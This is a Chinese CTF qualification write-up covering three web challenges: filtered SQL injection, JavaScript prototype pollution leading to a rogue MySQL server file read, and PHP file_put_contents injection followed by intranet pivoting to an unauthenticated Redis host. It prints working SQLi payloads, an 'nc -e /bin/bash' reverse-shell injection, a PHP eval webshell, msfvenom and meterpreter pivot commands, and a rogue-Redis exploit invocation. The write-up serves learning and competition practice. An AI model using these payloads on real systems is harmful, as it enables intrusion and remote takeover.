2020 X1cT34m Web第一次考核

X1cT34m入队考核

0x00前言

终于等到来的太突然的考核,感觉自己表现不是太好,本来入门时间也不短了,是因为不够努力才这么菜

玩了一把内网渗透(不是),感觉有点意思。

0x01第一题

考点:sqli

  1. username中\转义'导致password语句逃逸单引号
  2. union注入
  3. 绕过逗号过滤继续注入
  4. 无列名注入

打开题目,抓包,发现POST过去的数据是json形式,没想到其他,只想到了sqli,于是我用bp的intruder模块fuzz了一下:

(这里本来有一个表,莫名其妙消失了)

被过滤:单引号、|、,、or、空格

没被过滤:select、union

空格被过滤,用//代替,(可以使用word的替换功能)本文的空格都是//

既然单引号被过滤了,那么就想到了CGCTF和之前的BJDCTF的注入,利用username输入反斜杠来转义单引号,直接看例子:

原本语句:SELECT * from user WHERE username = 'admin' and password = '123'
转义语句:SELECT * from user WHERE username = 'admin\' and password =' or 1=1#'

我们可以看到,实际上第二句的username'admin\' and password ='后门接的or 1=1自然也就造成了注入。

这道题正常输入的时候回显是username or password error如果使用这个playload的话回显是true

union没有被过滤的话,那么就尝试union注入吧:

查询列数:
{"username":"1\\","password":"group/**/by/**/1#"}

这里有点玄学的是,明明查的是三列,但是只能group by 1有回显,就很神奇。

查询列数: {"username":"1\\","password":"union/**/select/**/1,2,3#"}

回显是“WAF!!!”因为逗号被过滤了

利用join绕过逗号过滤:

union select * from ((select 1)A join (select 2)B join (select 3)C)#
//union select * from ((select 1)A join (select 2)B join (select 3)C)#

查询成功,列数为3,23分别为username和password的回显位置,就可以替换为子查询,但是最致命的是or被过滤了,造成了information_schema背锅,所以我们需要bypass information_schema

查看了MySQL版本为5.7之后sys.schema_auto_increment_columns成为了我们的工具

将上述语句的23替换为:

SELECT group_concat(table_name) from sys.schema_auto_increment_columns WHERE table_schema = database()

表名:user

本来列名可以猜解出来,不过因为是非预期所以被ban了,接下来便是无列名注入

替换select 3

select i.3 from (select * from ((select 1)A join (select 2)B join (select 3)C) union select * from users)i limit 1

回显:{"code":2,"username":"2","password":"3","result":"SUCCESS"}

说明和没替换的效果一样,这个道理相当于是利用union查询的特性给他起了一个名字,起的名字是i,i.3就是查第三列,看例子:

mysql> select * from (select 1,2,3 union select 'a','b','c')i;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| a | b | c |
+---+---+---+
mysql> select i.3 from (select 1,2,3 union select 'a','b','c')i;
+---+
| 3 |
+---+
| 3 |
| c |
+---+
lmit 1`是和`limit 0,1`效果一样,意思是从第0条返回1条结果,我们这样只能查到我们自己起的列名,想要查值就需要`limit 1,1`但是逗号被过滤了,我们可以用`limit 1 offset 1

select 3 替换为:

select i.1 from 
(select * from ((select 1)A join (select 2)B join (select 3)C) union select * from users)i 
limit 1 offset 1

查询username列,password列替换为i.2i.3即可

最终playload:

username: 1\\

password:

union select * from(
    (select 1)A join (select 2)B join(
        select i.3 from(
            select * from (
                    (select 1)A join (select 2)B join (select 3)C
            )union select * from users
        )i limit 1 offset 1
    )C

)#

回显:

{"code":2,"username":"2","password":"74b87337454200d4d33f80c4663dc5e5","result":"SUCCESS"}

0x02第二题

考点:JS原型链污染、MySQL远程登录任意文件读取

给了index.js源码:

var express = require('express');
var router = express.Router();
var mysql  = require('mysql');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
  for (let attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
function waf(value){
  let re = /(,| |or|\||\^|&|;|BENCHMARK|SLEEP)/ig;
  let arr = value.match(re);
  if (arr === null){
    return 0;
  }
  return 1;
}
function clone(a) {
  return merge({}, a);
}

router.post('/', function(req, res, next) {
  let body = JSON.parse(JSON.stringify(req.body));
  if (body.host != undefined) {
    res.json({
      "result":"There is more to it!"
    });
  }else if (body.username === undefined || body.password === undefined){
    res.json({
      "code":1,
      "result":"username and password are necessary!"
    });
  }else if (waf(body.username)||waf(body.password)){
    res.json({
      "code":1,
      "result":"WAF!!!"
    });
  }else {
    let copybody = clone(body);
    let host = copybody.host == undefined ? "localhost" : copybody.host
    let config = {
      host: host,
      user: 'root',
      password: '123456',
      database: 'security'
    };

    let connection = mysql.createConnection(config);
    connection.connect();
    connection.query('select * from users where uuuusername="'+copybody.username+'" and ppppassword = "'+copybody.password+'"', function (error, results, fields) {
      if (error){
        res.json({
          "code":1,
          "result":"ERROR"
        });
      }else if (results[0] === undefined){
        res.json({
          "code":1,
          "result":"username or password error"
        });
      }else{
        res.json({
          "code":2,
          "username":results[0].uuuusername,
          "password":results[0].ppppassword,
          "result":"SUCCESS"
        });
      }
    });
    connection.end();
  }
});
module.exports = router;

先来说一说JS原型链污染:

先贴一篇学习链接:>>戳这里

简单来讲,JS的语言特性是“万物皆为对象(object.prototype)”,这也是JS“基于对象”的解释

img

  • 在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有的是__proto__和类的prototype对应

如果我们访问一个对象里面属性,JS则会在这个对象里面查找这个属性,如果不存在,那么就会返回上一级查找。

那么原型链污染就是:

在我们想要利用的代码之前的赋值语句如果可控的话,我们进行 ——proto 赋值,之后就可以利用代码了

很明显,这道题我们可以污染host属性

{"username":"admin","password":"1","__proto__":{"host":"我的ip"}}

这里为什么要污染host属性呢,其实是为了触发下一个漏洞——Mysql任意文件读取漏洞

直接上exp:Rogue-MySql-Server-master

修改对应端口就行。

0x03第三题

考点:

  1. parse_url解析漏洞、PHP协议容错性、简单sqli、file_put_contents漏洞
  2. 简单内网渗透、redis未授权访问漏洞、redis主从复制漏洞

打开题目即送源码:

<?php
//it may help u
echo "<h1>WELCOME 23333333333</h1>"."\n";
$url = $_SERVER["HTTP_REFERER"];
$r = parse_url($url);
if(!empty($r['host']) && $r['host'] === 'localhost'){
  readfile($url);//  hint.txt
}
else{
  echo 'ONLY FROM LOCALHOST!!!!'."<br>";
}

//only admin can do it
$password = $_GET['password'];
$username = $_GET['username'];
$content = addslashes($_GET['content']);

if($username === "******" && $password === "******"){
  echo 'now_you_are_admin'."<br>";
  $sandbox = './sandbox/' . md5("x" . $_SERVER['REMOTE_ADDR']);
  @mkdir($sandbox);
  @chdir($sandbox);
  echo $sandbox."<br>";
  if(!file_exists("admin.php")){
    file_put_contents('admin.php', "<?php \$secret = 'xxx'; ?>");
  }
  //change the content
  if($content){
    $file = file_get_contents("./admin.php");
    $file = preg_replace("/secret = '.*'/", "secret = '{$content}'", $file);
    file_put_contents('./admin.php', $file);
  }

}

第5行parse_url解析我们只需要任意<字母、数字>://<字母、数字>就可以让他返回host=第二个<字母、数字>

  • PHP协议的容错性:PHP在遇到一个不认识的协议的时候,会抛出一个warning,并且将协议设置为null。后面,在协议是null或者是file时,会进行本地文件操作。也就是说,默认情况下,如果你没加协议,或者加了个不存在的协议,或者协议名字是file,都会被认为是本地文件的相关操作

playload:

referer: 0://localhost/../../../(一个一个加,直到读到文件为止)../hint.txt

回显告诉了usernamepig_can_fly并且说password需要在另一台服务器上面获取,我们点击访问他给的ip,发现就是一个很简单的union注入,得到了password的md5值:dc3565645d8002becb5fd7977aeef3e1

暴力破解之后是:admin_password

GET传过去之后出现了一段JS代码,不过我没做(233333)

content变量那里可以直接利用file_put_contents漏洞RCE

playload(GET传值):

?username=pig_can_fly&password=admin_password&content=a\';echo+`nc+-e+/bin/bash+我的ip+端口`//

我之前试了很多个,不知道究竟是哪个起了作用,后来问了问其他人,好像只有反引号才能起作用。

回到VPS监听端口,果然收到了一份新鲜的shell;

赶紧重新写一个后门:

echo "<?php @eval(\$_POST['123']);?>" > wh1sper.php

蚁剑连接,拿到shell;

高兴了好一阵,不过并没有找到flag,问了出题人,说是在内网。。。

联想到NCTF2019的true xml cookbook,读取/etc/hosts文件和/proc/net/arp,推测内网存活主机10.0.0.1-3,2是自己,flag可能在3上面。

于是在VPS上面装了MSF,通过msf的一些模块探测到了一些信息。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

在本地生成了shell.elf文件通过蚁剑上传到目录,继续在msf里面执行:

use exploit/multi/handler
set payloads linux/x86/meterpreter/reverset_tcp
set lhost 我的ip
set lport 我的端口
run

执行了这些命令,发现msf开始监听端口,这个时候通过蚁剑终端运行./shell.elf命令,就可以获得一个meterpreter类型的shell

得到shell之后,我们需要先建立meterpreter基本隧道代理

meterpreter基本隧道代理

>>学习连接

1.portfwd

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd 
0 total local port forwards.
meterpreter > portfwd  -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
    -L <opt>  The local host to listen on (optional).
    -h        Help banner.
    -l <opt>  The local port to listen on.
    -p <opt>  The remote port to connect to.
    -r <opt>  The remote host to connect to.

使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd 
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.

2. pivot

pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法

使用方法route add 目标ip或ip段 子网掩码 session序号

要使用代理的会话,通过实例来说明:

在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问:

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1
[*] Route added
msf exploit(handler) > route print 
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.129         255.255.255.255    Session 1

这里如果要代理10.1.1.129/24 到session 1,则可以这么写:

route add 10.1.1.0 255.255.255.0 1

到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。

但是如果想通过其他应用程序来使用这个代理怎么办呢?

这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问:

首先使用 socks4a并且配置,监听端口:

msf exploit(handler) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options 
Module options (auxiliary/server/socks4a):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) > 
[*] Starting the socks4a proxy server

查看监听端口:

root@kali:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN

端口已经监听,接着配置 proxychains

root@kali:~# vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwileroot@kali:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN 
# defaults set to "tor"
socks4  127.0.0.1 1080

完成之后我们在命令前面加上proxychain就可以正常的用本机的工具扫描内网了

至于高端的二级代理甚至多级代理就不谈了。

这里我只进行了第一步,用了msf里面的portscan扫描了内网10.0.0.3主机的端口,发现只有6379端口开放,网上查阅资料后得知是redis的端口,于是我用了msf里面的几个模块进行了尝试,其中,使用redis_login(用于爆破登录密码)的时候,msf提示我这个端口并没有设置密码,也就是存在redis未授权访问漏洞

于是我把6379端口映射到了本地的10086,通过本地的redis客户端进行了访问

redis-cli -h 127.0.0.1 -p 10086
127.0.0.1:10086>
127.0.0.1:10086>keys *
1) "welcome"
127.0.0.1:10086>

成功了!!!一阵狂喜过后写了几个键,装了个B,开始尝试利用漏洞。

>>redis漏洞深度利用

一般来讲,网上的几种方法:

(1).利用计划任务执行命令反弹shell

(2).写ssh-keygen公钥然后使用私钥登陆

(3).往web物理路径写webshell

但是我们需要注意的是,(1)需要/var/spool/cron/路径存在并且有权限,(2)需要22端口开放,(3)需要80端口开放并且启动了web服务。

显然学长没给弹shell的机会,/var/spool/cron/目录根本不存在其他两个端口都没开就不谈了。。。

不过有趣的是,我利用了redisconfig set dir /flag摸清楚了flag在根目录,不过没有找到什么姿势可以让redis直接读取系统文件的。

后来看到了redis的一个主从机制,也没有往那方面想,于是本题宣告白给。

wakawaka师傅(最nb的男人)用redis的主从复制漏洞搞了一发,没成功,问学长说是环境问题,给通过了。

WP在这里就结束了,redis的主从复制漏洞改日在本地复现之后再更。

更新:

原理可以百度,这里直接本地用Github上面的redis-rogue-getshell-master打通,本地的exp打docker:(本地不需要redis客户端)

python3 redis-master.py -r 目标ip -p 目标端口 -L 本机ip -P 本机端口 -f 使用的exp -c 要执行的命令

img

updatedupdated2022-10-302022-10-30